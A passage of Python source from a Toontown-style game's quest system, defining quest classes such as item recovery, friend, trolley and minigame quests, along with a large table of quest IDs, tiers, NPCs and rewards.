if holder == 'c': holderName = TTLocalizer.BossbotP elif holder == 's': holderName = TTLocalizer.SellbotP elif holder == 'm': holderName = TTLocalizer.CashbotP elif holder == 'l': holderName = TTLocalizer.LawbotP elif holder == 'g': holderName = TTLocalizer.BoardbotP elif not holder: print("WHY THE HELL IS THERE NO HOLDER BARKS") return [itemName, "BARKS FRICKING FIX"] item = self.getItem() num = self.getNumItems() if num == 1: itemName = ItemDict[item][2] + ItemDict[item][0] else: itemName = TTLocalizer.QuestsItemNameAndNum % {'num': TTLocalizer.getLocalNum(num), 'name': ItemDict[item][1]} return [itemName, holderName] def getString(self): return TTLocalizer.QuestsRecoverItemQuestString % {'item': self.getObjectiveStrings()[0], 'holder': self.getObjectiveStrings()[1]} def getSCStrings(self, toNpcId, progress): item = self.getItem() num = self.getNumItems() forwardProgress = progress & pow(2, 16) - 1 if forwardProgress >= self.getNumItems(): if num == 1: itemName = ItemDict[item][2] + ItemDict[item][0] else: itemName = TTLocalizer.QuestsItemNameAndNum % {'num': TTLocalizer.getLocalNum(num), 'name': ItemDict[item][1]} if toNpcId == ToonHQ: strings = [TTLocalizer.QuestsRecoverItemQuestReturnToHQSCString % itemName, TTLocalizer.QuestsRecoverItemQuestGoToHQSCString] elif toNpcId: npcName, hoodName, buildingArticle, buildingName, toStreet, streetName, isInPlayground = getNpcInfo(toNpcId) strings = [TTLocalizer.QuestsRecoverItemQuestReturnToSCString % {'item': itemName, 'npcName': npcName}] if isInPlayground: strings.append(TTLocalizer.QuestsRecoverItemQuestGoToPlaygroundSCString % hoodName) else: strings.append(TTLocalizer.QuestsRecoverItemQuestGoToStreetSCString % {'to': toStreet, 'street': streetName, 'hood': hoodName}) strings.extend([TTLocalizer.QuestsRecoverItemQuestVisitBuildingSCString % (buildingArticle, buildingName), TTLocalizer.QuestsRecoverItemQuestWhereIsBuildingSCString % (buildingArticle, buildingName)]) return strings holder = self.getHolder() holderType = self.getHolderType() locName = self.getLocationName() if holder == Any: holderName = TTLocalizer.TheCogs elif holder == AnyFish: holderName = TTLocalizer.TheFish elif holderType == 'type': holderName = SuitBattleGlobals.SuitAttributes[holder]['pluralname'] elif holderType == 'level': holderName = TTLocalizer.QuestsRecoverItemQuestHolderString % {'level': TTLocalizer.Level, 'holder': holder, 'cogs': TTLocalizer.Cogs} elif holderType == 'track': if holder == 'c': holderName = TTLocalizer.BossbotP elif holder == 's': holderName = TTLocalizer.SellbotP elif holder == 'm': holderName = TTLocalizer.CashbotP elif holder == 'l': holderName = TTLocalizer.LawbotP elif holder == 'g': holderName = TTLocalizer.BoardbotP if num == 1: itemName = ItemDict[item][2] + ItemDict[item][0] else: itemName = TTLocalizer.QuestsItemNameAndNum % {'num': TTLocalizer.getLocalNum(num), 'name': ItemDict[item][1]} return TTLocalizer.QuestsRecoverItemQuestRecoverFromSCString % {'item': itemName, 'holder': holderName, 'loc': locName} def getHeadlineString(self): return TTLocalizer.QuestsRecoverItemQuestHeadline class TrackChoiceQuest(Quest): def __init__(self, id, quest): Quest.__init__(self, id, quest) def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc if npc and npcMatches(toNpcId, npc): return COMPLETE else: return INCOMPLETE_WRONG_NPC def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString else: return NotChosenString def getString(self): return TTLocalizer.QuestsTrackChoiceQuestString def getSCStrings(self, toNpcId, progress): return [TTLocalizer.QuestsTrackChoiceQuestSCString] + getVisitSCStrings(toNpcId) def getHeadlineString(self): return TTLocalizer.QuestsTrackChoiceQuestHeadline class FriendQuest(Quest): def filterFunc(avatar): if len(avatar.getFriendsList()) == 0: return 1 else: return 0 filterFunc = staticmethod(filterFunc) def __init__(self, id, quest): Quest.__init__(self, id, quest) def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= 1 or len(av.getFriendsList()) > 0 return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString else: return '' def getString(self): return TTLocalizer.QuestsFriendQuestString def getSCStrings(self, toNpcId, progress): if progress: return getFinishToonTaskSCStrings(toNpcId) return TTLocalizer.QuestsFriendQuestSCString def getHeadlineString(self): return TTLocalizer.QuestsFriendQuestHeadline def getObjectiveStrings(self): return [TTLocalizer.QuestsFriendQuestString] def doesFriendCount(self, av, otherAv): return 1 class FriendNewbieQuest(FriendQuest, NewbieQuest): def filterFunc(avatar): return 1 filterFunc = staticmethod(filterFunc) def __init__(self, id, quest): FriendQuest.__init__(self, id, quest) self.checkNumFriends(self.quest[0]) self.checkNewbieLevel(self.quest[1]) def getNumQuestItems(self): return self.getNumFriends() def getNumFriends(self): return self.quest[0] def getNewbieLevel(self): return self.quest[1] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= self.getNumFriends() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumFriends() == 1: return '' else: return TTLocalizer.QuestsFriendNewbieQuestProgress % {'progress': questDesc[4], 'numFriends': self.getNumFriends()} def getString(self): return TTLocalizer.QuestsFriendNewbieQuestObjective % self.getNumFriends() def getObjectiveStrings(self): return [TTLocalizer.QuestsFriendNewbieQuestString % (self.getNumFriends(), self.getNewbieLevel())] def doesFriendCount(self, av, otherAv): if otherAv != None and otherAv.getMaxHp() <= self.getNewbieLevel(): return 1 return 0 class TrolleyQuest(Quest): def __init__(self, id, quest): Quest.__init__(self, id, quest) def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= 1 return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString else: return '' def getString(self): return TTLocalizer.QuestsFriendQuestString def getSCStrings(self, toNpcId, progress): if progress: return getFinishToonTaskSCStrings(toNpcId) return TTLocalizer.QuestsTrolleyQuestSCString def getHeadlineString(self): return TTLocalizer.QuestsTrolleyQuestHeadline def getObjectiveStrings(self): return [TTLocalizer.QuestsTrolleyQuestString] class MailboxQuest(Quest): def __init__(self, id, quest): Quest.__init__(self, id, quest) def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= 1 return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString else: return '' def getString(self): return TTLocalizer.QuestsMailboxQuestString def getSCStrings(self, toNpcId, progress): if progress: return getFinishToonTaskSCStrings(toNpcId) return TTLocalizer.QuestsMailboxQuestSCString def getHeadlineString(self): return TTLocalizer.QuestsMailboxQuestHeadline def getObjectiveStrings(self): return [TTLocalizer.QuestsMailboxQuestString] class PhoneQuest(Quest): def __init__(self, id, quest): Quest.__init__(self, id, quest) def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= 1 return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString else: return '' def getString(self): return TTLocalizer.QuestsPhoneQuestString def getSCStrings(self, toNpcId, progress): if progress: return getFinishToonTaskSCStrings(toNpcId) return TTLocalizer.QuestsPhoneQuestSCString def getHeadlineString(self): return TTLocalizer.QuestsPhoneQuestHeadline def getObjectiveStrings(self): return [TTLocalizer.QuestsPhoneQuestString] class MinigameNewbieQuest(Quest, NewbieQuest): def __init__(self, id, quest): Quest.__init__(self, id, quest) self.checkNumMinigames(self.quest[0]) self.checkNewbieLevel(self.quest[1]) def getNumQuestItems(self): return self.getNumMinigames() def getNumMinigames(self): return self.quest[0] def getNewbieLevel(self): return self.quest[1] def getCompletionStatus(self, av, questDesc, npc = None): questId, fromNpcId, toNpcId, rewardId, toonProgress = questDesc questComplete = toonProgress >= self.getNumMinigames() return getCompleteStatusWithNpc(questComplete, toNpcId, npc) def getProgressString(self, avatar, questDesc): if self.getCompletionStatus(avatar, questDesc) == COMPLETE: return CompleteString elif self.getNumMinigames() == 1: return '' else: return TTLocalizer.QuestsMinigameNewbieQuestProgress % {'progress': questDesc[4], 'numMinigames': self.getNumMinigames()} def getString(self): return TTLocalizer.QuestsMinigameNewbieQuestObjective % self.getNumMinigames() def getObjectiveStrings(self): return [TTLocalizer.QuestsMinigameNewbieQuestString % self.getNumMinigames()] def getHeadlineString(self): return TTLocalizer.QuestsNewbieQuestHeadline def getSCStrings(self, toNpcId, progress): if progress: return getFinishToonTaskSCStrings(toNpcId) return TTLocalizer.QuestsTrolleyQuestSCString def doesMinigameCount(self, av, avList): newbieHp = self.getNewbieLevel() points = 0 for toon in avList: if toon != av and toon.getMaxHp() <= newbieHp: points += 1 return points DefaultDialog = {GREETING: DefaultGreeting, QUEST: DefaultQuest, INCOMPLETE: DefaultIncomplete, INCOMPLETE_PROGRESS: DefaultIncompleteProgress, INCOMPLETE_WRONG_NPC: DefaultIncompleteWrongNPC, COMPLETE: DefaultComplete, LEAVING: DefaultLeaving} def getQuestFromNpcId(id): return QuestDict.get(id)[QuestDictFromNpcIndex] def getQuestToNpcId(id): return QuestDict.get(id)[QuestDictToNpcIndex] def getQuestDialog(id): return QuestDict.get(id)[QuestDictDialogIndex] def getQuestReward(id, av): baseRewardId = QuestDict.get(id)[QuestDictRewardIndex] return transformReward(baseRewardId, av) def isQuestJustForFun(questId, rewardId): questEntry = QuestDict.get(questId) if questEntry: tier = questEntry[QuestDictTierIndex] return isRewardOptional(tier, rewardId) else: return False NoRewardTierZeroQuests = (101, 110, 121, 131, 141, 160, 161, 162, 163) RewardTierZeroQuests = () PreClarabelleQuestIds = NoRewardTierZeroQuests + RewardTierZeroQuests QuestDict = { 101: (TT_TIER, Start, (CogQuest, Anywhere, 1, 'f'), Any, ToonHQ, NA, 110, DefaultDialog), 110: (TT_TIER, Cont, (TrolleyQuest,), Any, ToonHQ, NA, 145, DefaultDialog), 120: (TT_TIER, OBSOLETE, (DeliverItemQuest, 5), ToonHQ, 2002, NA, 121, DefaultDialog), 121: (TT_TIER, OBSOLETE, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 1, 2, VeryEasy, Any, 'type'), 2002, 2002, 100, NA, DefaultDialog), 130: (TT_TIER, OBSOLETE, (DeliverItemQuest, 6), ToonHQ, 2003, NA, 131, DefaultDialog), 131: (TT_TIER, OBSOLETE, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 1, 3, VeryEasy, Any, 'type'), 2003, 2003, 100, NA, DefaultDialog), 140: (TT_TIER, OBSOLETE, (DeliverItemQuest, 4), ToonHQ, 2005, NA, 141, DefaultDialog), 141: (TT_TIER, OBSOLETE, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 1, 1, VeryEasy, Any, 'type'), 2005, 2005, 100, NA, DefaultDialog), 145: (TT_TIER, Cont, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 1, 20, VeryEasy, Any, 'type'), ToonHQ, ToonHQ, 100, NA, DefaultDialog), 160: (TT_TIER, OBSOLETE, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 'c'), Same, ToonHQ, 100, NA, TTLocalizer.QuestDialogDict[160]), 161: (TT_TIER, OBSOLETE, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 'l'), Same, ToonHQ, 100, NA, TTLocalizer.QuestDialogDict[161]), 162: (TT_TIER, OBSOLETE, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 's'), Same, ToonHQ, 100, NA, TTLocalizer.QuestDialogDict[162]), 163: (TT_TIER, OBSOLETE, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 'm'), Same, ToonHQ, 100, NA, TTLocalizer.QuestDialogDict[163]), 164: (TT_TIER + 1, Start, (VisitQuest,), Any, 2001, NA, 165, TTLocalizer.QuestDialogDict[164]), 165: (TT_TIER + 1, Start, (CogQuest, Anywhere, 4, Any), 2001, Same, NA, (166, 167, 168, 169), TTLocalizer.QuestDialogDict[165]), 166: (TT_TIER + 1, Cont, (CogTrackQuest, Anywhere, 4, 'c'), Same, Same, NA, (170, 171, 172), TTLocalizer.QuestDialogDict[166]), 167: (TT_TIER + 1, Cont, (CogTrackQuest, Anywhere, 4, 'l'), Same, Same, NA, (170, 171, 172), TTLocalizer.QuestDialogDict[167]), 168: (TT_TIER + 1, Cont, (CogTrackQuest, Anywhere, 4, 's'), Same, Same, NA, (170, 171, 172), TTLocalizer.QuestDialogDict[168]), 169: (TT_TIER + 1, Cont, (CogTrackQuest, Anywhere, 4, 'm'), Same, Same, NA, (170, 171, 172), TTLocalizer.QuestDialogDict[169]), 170: (TT_TIER + 1, Cont, (VisitQuest,), Same, 2005, NA, 400, TTLocalizer.QuestDialogDict[170]), 171: (TT_TIER + 1, Cont, (VisitQuest,), Same, 2311, NA, 400, TTLocalizer.QuestDialogDict[171]), 172: (TT_TIER + 1, Cont, (VisitQuest,), Same, 2119, NA, 400, TTLocalizer.QuestDialogDict[172]), 400: (TT_TIER + 1, Cont, (TrackChoiceQuest,), Same, Same, 400, NA, TTLocalizer.QuestDialogDict[400]), 600: (TT_TIER, Start, (VisitQuest,), Any, 2322, NA, 601, DefaultDialog), 601: (TT_TIER, Start, (CogQuest, 2200, 2, Any), 2322, Same, 500, NA, TTLocalizer.QuestDialogDict[601]), 1001: (TT_TIER + 2, Start, (CogQuest, ToontownGlobals.ToontownCentral, 5, Any), Any, ToonHQ, Any, NA, DefaultDialog), 1002: (TT_TIER + 2, Start, (CogQuest, ToontownGlobals.ToontownCentral, 4, Any), Any, ToonHQ, Any, NA, DefaultDialog), 1003: (TT_TIER + 2, Start, (CogQuest, ToontownGlobals.ToontownCentral, 6, Any), Any, ToonHQ, Any, NA, DefaultDialog), 1004: (TT_TIER + 2, Start, (CogQuest, ToontownGlobals.ToontownCentral, 7, Any), Any, ToonHQ, Any, NA, DefaultDialog), 1005: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'f'), Any, ToonHQ, Any, NA, DefaultDialog), 1006: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'p'), Any, ToonHQ, Any, NA, DefaultDialog), 1007: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'bf'), Any, ToonHQ, Any, NA, DefaultDialog), 1008: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'b'), Any, ToonHQ, Any, NA, DefaultDialog), 1009: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'sc'), Any, ToonHQ, Any, NA, DefaultDialog), 1010: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'pp'), Any, ToonHQ, Any, NA, DefaultDialog), 1011: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'cc'), Any, ToonHQ, Any, NA, DefaultDialog), 1012: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'tm'), Any, ToonHQ, Any, NA, DefaultDialog), 1013: (TT_TIER + 2, Start, (CogQuest, Anywhere, 5, 'ca'), Any, ToonHQ, Any, NA, DefaultDialog), 1014: (TT_TIER + 2, Start, (CogQuest, Anywhere, 4, 'cn'), Any, ToonHQ, Any, NA, DefaultDialog), 1015: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'sw'), Any, ToonHQ, Any, NA, DefaultDialog), 1016: (TT_TIER + 2, Start, (CogQuest, Anywhere, 1, 'mdm'), Any, ToonHQ, Any, NA, DefaultDialog), 1017: (TT_TIER + 2, Start, (CogQuest, Anywhere, 1, 'mm'), Any, ToonHQ, Any, NA, DefaultDialog), 1018: (TT_TIER + 2, Start, (CogQuest, Anywhere, 1, 'gh'), Any, ToonHQ, Any, NA, DefaultDialog), 1019: (TT_TIER + 2, Start, (CogQuest, Anywhere, 1, 'bc'), Any, ToonHQ, Any, NA, DefaultDialog), 1020: (TT_TIER + 2, Start, (CogQuest, Anywhere, 1, 'ac'), Any, ToonHQ, Any, NA, DefaultDialog), 1021: (TT_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.ToontownCentral, 2, 2), Any, ToonHQ, Any, NA, DefaultDialog), 1022: (TT_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.ToontownCentral, 2, 4), Any, ToonHQ, Any, NA, DefaultDialog), 1023: (TT_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.ToontownCentral, 3, 2), Any, ToonHQ, Any, NA, DefaultDialog), 1024: (TT_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.ToontownCentral, 4, 2), Any, ToonHQ, Any, NA, DefaultDialog), 1025: (TT_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.ToontownCentral, 4, 3), Any, ToonHQ, Any, NA, DefaultDialog), 1026: (TT_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.ToontownCentral, 6, 3), Any, ToonHQ, Any, NA, DefaultDialog), 1027: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 2, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 1028: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 2, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 1029: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 2, 'g'), Any, ToonHQ, Any, NA, DefaultDialog), 1030: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 'g'), Any, ToonHQ, Any, NA, DefaultDialog), 1031: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 4, 'g'), Any, ToonHQ, Any, NA, DefaultDialog), 1032: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 5, 'g'), Any, ToonHQ, Any, NA, DefaultDialog), 1033: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 1034: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 1035: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 5, 'm'), Any, ToonHQ, Any, NA, DefaultDialog), 1036: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 5, 's'), Any, ToonHQ, Any, NA, DefaultDialog), 1037: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 5, 'c'), Any, ToonHQ, Any, NA, DefaultDialog), 1038: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 5, 'l'), Any, ToonHQ, Any, NA, DefaultDialog), 1039: (TT_TIER + 2, Start, (VisitQuest,), Any, 2318, NA, (1041, 1042, 1043), TTLocalizer.QuestDialogDict[1039]), 1040: (TT_TIER + 2, Start, (VisitQuest,), Any, 2220, NA, (1041, 1042, 1043), TTLocalizer.QuestDialogDict[1040]), 1041: (TT_TIER + 2, Cont, (VisitQuest,), Same, 2126, NA, 1044, TTLocalizer.QuestDialogDict[1041]), 1042: (TT_TIER + 2, Cont, (VisitQuest,), Same, 2132, NA, 1044, TTLocalizer.QuestDialogDict[1042]), 1043: (TT_TIER + 2, Cont, (VisitQuest,), Same, 2121, NA, 1044, TTLocalizer.QuestDialogDict[1043]), 1044: (TT_TIER + 2, Cont, (RecoverItemQuest, Anywhere, 3, 7, Easy, 'm', 'track'), Same, Same, NA, 1045, TTLocalizer.QuestDialogDict[1044]), 1045: (TT_TIER + 2, Cont, (DeliverItemQuest, 8), Same, 2001, 300, NA, TTLocalizer.QuestDialogDict[1045]), 1046: (TT_TIER + 2, Start, (VisitQuest,), Any, 2212, NA, (1047, 1048), TTLocalizer.QuestDialogDict[1046]), 1047: (TT_TIER + 2, Start, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 4, 21, Easy, 'bf'), 2212, Same, NA, 1049, TTLocalizer.QuestDialogDict[1047]), 1048: (TT_TIER + 2, Start, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 4, 21, Easy, 'sc'), 2212, Same, NA, 1049, TTLocalizer.QuestDialogDict[1048]), 1049: (TT_TIER + 2, Cont, (RecoverItemQuest, Anywhere, 4, 22, Easy, AnyFish), Same, Same, NA, 1053, TTLocalizer.QuestDialogDict[1049]), 1053: (TT_TIER + 2, Cont, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 1, 21, Easy, 'dt'), Same, Same, 700, NA, TTLocalizer.QuestDialogDict[1053]), 1054: (TT_TIER + 2, Start, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 1, 23, VeryEasy, 'ca'), Any, ToonHQ, NA, 1055, TTLocalizer.QuestDialogDict[1054]), 1055: (TT_TIER + 2, Cont, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 1, 24, VeryEasy, 'cn'), ToonHQ, Same, NA, 1056, TTLocalizer.QuestDialogDict[1055]), 1056: (TT_TIER + 2, Cont, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 1, 2007, VeryEasy, 'sw'), Same, Same, 200, NA, TTLocalizer.QuestDialogDict[1056]), 1057: (TT_TIER + 2, Cont, (CogLevelQuest, ToontownGlobals.ToontownCentral, 6, 3), Same, Same, NA, 1058, TTLocalizer.QuestDialogDict[1057]), 1059: (TT_TIER + 2, Start, (VisitQuest,), Any, 2005, NA, 1060, TTLocalizer.QuestDialogDict[1059]), 1060: (TT_TIER + 2, Start, (VisitQuest,), 2005, 2218, NA, 1061, TTLocalizer.QuestDialogDict[1060]), 1061: (TT_TIER + 2, Cont, (DeliverItemQuest, 25), 2218, 2005, NA, 1062, TTLocalizer.QuestDialogDict[1061]), 1062: (TT_TIER + 2, Cont, (VisitQuest,), 2005, 2208, NA, 1058, TTLocalizer.QuestDialogDict[1062]), 1058: (TT_TIER + 2, Cont, (RecoverItemQuest, ToontownGlobals.ToontownCentral, 3, 25, Easy, 'f'), 2208, 2005, 101, NA, TTLocalizer.QuestDialogDict[1058]), 900: (TT_TIER + 3, Start, (VisitQuest,), Any, 2001, NA, 1063, TTLocalizer.QuestDialogDict[900]), 1063: (TT_TIER + 3, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 'c'), 2001, Same, NA, 1067, TTLocalizer.QuestDialogDict[1063]), 1067: (TT_TIER + 3, Cont, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 'l'), Same, Same, NA, 1068, TTLocalizer.QuestDialogDict[1067]), 1068: (TT_TIER + 3, Cont, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 'm'), Same, Same, NA, 1069, TTLocalizer.QuestDialogDict[1068]), 1069: (TT_TIER + 3, Cont, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 's'), Same, Same, NA, 1071, TTLocalizer.QuestDialogDict[1069]), 1070: (TT_TIER + 3, Cont, (RecoverItemQuest, Anywhere, 1, 13, Medium, 's', 'track'), Same, Same, NA, 1071, TTLocalizer.QuestDialogDict[1070]), 1071: (TT_TIER + 3, Cont, (CogTrackQuest, ToontownGlobals.ToontownCentral, 3, 'g'), Same, Same, 900, NA, TTLocalizer.QuestDialogDict[1071]), 1072: (TT_TIER + 3, Cont, (DeliverItemQuest, 13), Same, 2301, NA, 1073, TTLocalizer.QuestDialogDict[1072]), 1073: (TT_TIER + 3, Cont, (VisitQuest,), Any, 2201, NA, 1074, TTLocalizer.QuestDialogDict[1073]), 1074: (TT_TIER + 3, Cont, (RecoverItemQuest, Anywhere, 1, 13, Hard, Any), Same, Same, NA, 1075, TTLocalizer.QuestDialogDict[1074]), 1075: (TT_TIER + 3, Cont, (DeliverItemQuest, 13), Same, 2301, 900, NA, TTLocalizer.QuestDialogDict[1075]), 1076: (TT_TIER + 2, Start, (VisitQuest,), Any, 2003, NA, 1077, TTLocalizer.QuestDialogDict[1076]), 1077: (TT_TIER + 2, Start, (RecoverItemQuest, Anywhere, 1, 2007, VeryEasy, 'mm'), 2003, Same, NA, 1078, TTLocalizer.QuestDialogDict[1077]), 1078: (TT_TIER + 2, Cont, (RecoverItemQuest, Anywhere, 1, 2007, VeryEasy, 'ac'), Same, Same, NA, 1079, TTLocalizer.QuestDialogDict[1078]), 1079: (TT_TIER + 2, Cont, (RecoverItemQuest, Anywhere, 1, 2007, VeryEasy, 'bc'), Same, Same, NA, 1092, TTLocalizer.QuestDialogDict[1079]), 1092: (TT_TIER + 2, Cont, (RecoverItemQuest, Anywhere, 1, 2007, VeryEasy, 'gh'), Same, Same, NA, 1080, TTLocalizer.QuestDialogDict[1092]), 1080: (TT_TIER + 2, Cont, (RecoverItemQuest, Anywhere, 1, 2007, VeryEasy, 'mdm'), Same, Same, 501, NA, TTLocalizer.QuestDialogDict[1080]), 1081: (TT_TIER + 2, Start, (VisitQuest,), Any, 2002, NA, 1082, TTLocalizer.QuestDialogDict[1081]), 1082: (TT_TIER + 2, Start, (CogTrackQuest, ToontownGlobals.ToontownCentral, 10, 'm'), 2002, Same, 102, NA, TTLocalizer.QuestDialogDict[1082]), 1083: (TT_TIER + 2, Cont, (RecoverItemQuest, Anywhere, 1, 17, Medium, 'l', 'track'), Same, Same, NA, 1084, TTLocalizer.QuestDialogDict[1083]), 1084: (TT_TIER + 2, Cont, (RecoverItemQuest, Anywhere, 1, 18, Medium, 'm', 'track'), Same, Same, 102, NA, TTLocalizer.QuestDialogDict[1084]), 1085: (TT_TIER + 2, Start, (VisitQuest,), Any, 2303, NA, 1086, TTLocalizer.QuestDialogDict[1085]), 1086: (TT_TIER + 2, Start, (RecoverItemQuest, Anywhere, 5, 26, Easy, 'l', 'track'), 2303, Same, 100, NA, TTLocalizer.QuestDialogDict[1086]), 1089: (TT_TIER + 2, Cont, (DeliverItemQuest, 19), Same, ToonHQ, 100, NA, TTLocalizer.QuestDialogDict[1089]), 1090: (TT_TIER + 2, Start, (VisitQuest,), Any, 2119, NA, 1091, TTLocalizer.QuestDialogDict[1090]), 1091: (TT_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.ToontownCentral, 8, 2), 2119, ToonHQ, 102, NA, TTLocalizer.QuestDialogDict[1091]), 1100: (TT_TIER + 2, Start, (CogQuest, ToontownGlobals.ToontownCentral, 10, Any), Any, ToonHQ, NA, 1101, DefaultDialog), 1101: (TT_TIER + 2, Cont, (DeliverItemQuest, 1000), Any, 2004, 1000, NA, DefaultDialog), 1102: (TT_TIER + 2, Start, (CogLevelQuest, ToontownGlobals.ToontownCentral, 8, 3), Any, ToonHQ, NA, 1103, DefaultDialog), 1103: (TT_TIER + 2, Cont, (DeliverItemQuest, 1000), Any, 2004, 1000, NA, DefaultDialog), 1105: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'f'), Any, ToonHQ, Any, NA, DefaultDialog), 1106: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'p'), Any, ToonHQ, Any, NA, DefaultDialog), 1107: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'bf'), Any, ToonHQ, Any, NA, DefaultDialog), 1108: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'b'), Any, ToonHQ, Any, NA, DefaultDialog), 1109: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'sc'), Any, ToonHQ, Any, NA, DefaultDialog), 1110: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'pp'), Any, ToonHQ, Any, NA, DefaultDialog), 1111: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'cc'), Any, ToonHQ, Any, NA, DefaultDialog), 1112: (TT_TIER + 2, Start, (CogQuest, Anywhere, 2, 'tm'), Any, ToonHQ, Any, NA, DefaultDialog), 1205: (TT_TIER + 3, Start, (CogQuest, Anywhere, 4, 'f'), Any, ToonHQ, Any, NA, DefaultDialog), 1206: (TT_TIER + 3, Start, (CogQuest, Anywhere, 4, 'p'), Any, ToonHQ, Any, NA, DefaultDialog), 1207: (TT_TIER + 3, Start, (CogQuest, Anywhere, 4, 'bf'), Any, ToonHQ, Any, NA, DefaultDialog), 1208: (TT_TIER + 3, Start, (CogQuest, Anywhere, 4, 'b'), Any, ToonHQ, Any, NA, DefaultDialog), 1209: (TT_TIER + 3, Start, (CogQuest, Anywhere, 4, 'sc'), Any, ToonHQ, Any, NA, DefaultDialog), 1210: (TT_TIER + 3, Start, (CogQuest, Anywhere, 4, 'pp'), Any, ToonHQ, Any, NA, DefaultDialog), 1211: (TT_TIER + 3, Start, (CogQuest, Anywhere, 4, 'cc'), Any, ToonHQ, Any, NA, DefaultDialog), 1212: (TT_TIER + 3, Start, (CogQuest, Anywhere, 4, 'tm'), Any, ToonHQ, Any, NA, DefaultDialog), 1300: (DD_TIER, Start, (VisitQuest,), Any, 1116, NA, 1301, TTLocalizer.QuestDialogDict[1300]), 1301: (DD_TIER, Start, (CogTrackQuest, 1100, 6, 'c'), 1116, Same, NA, 1302, TTLocalizer.QuestDialogDict[1301]), 1302: (DD_TIER, Cont, (CogTrackQuest, 1200, 7, 'm'), Same, Same, NA, (1303, 1304), TTLocalizer.QuestDialogDict[1302]), 1303: (DD_TIER, Cont, (CogTrackQuest, 1300, 8, 'g'), Same, Same, NA, 1305, TTLocalizer.QuestDialogDict[1303]), 1304: (DD_TIER, Cont, (CogTrackQuest, 1300, 8, 'l'), Same, Same, NA, 1305, 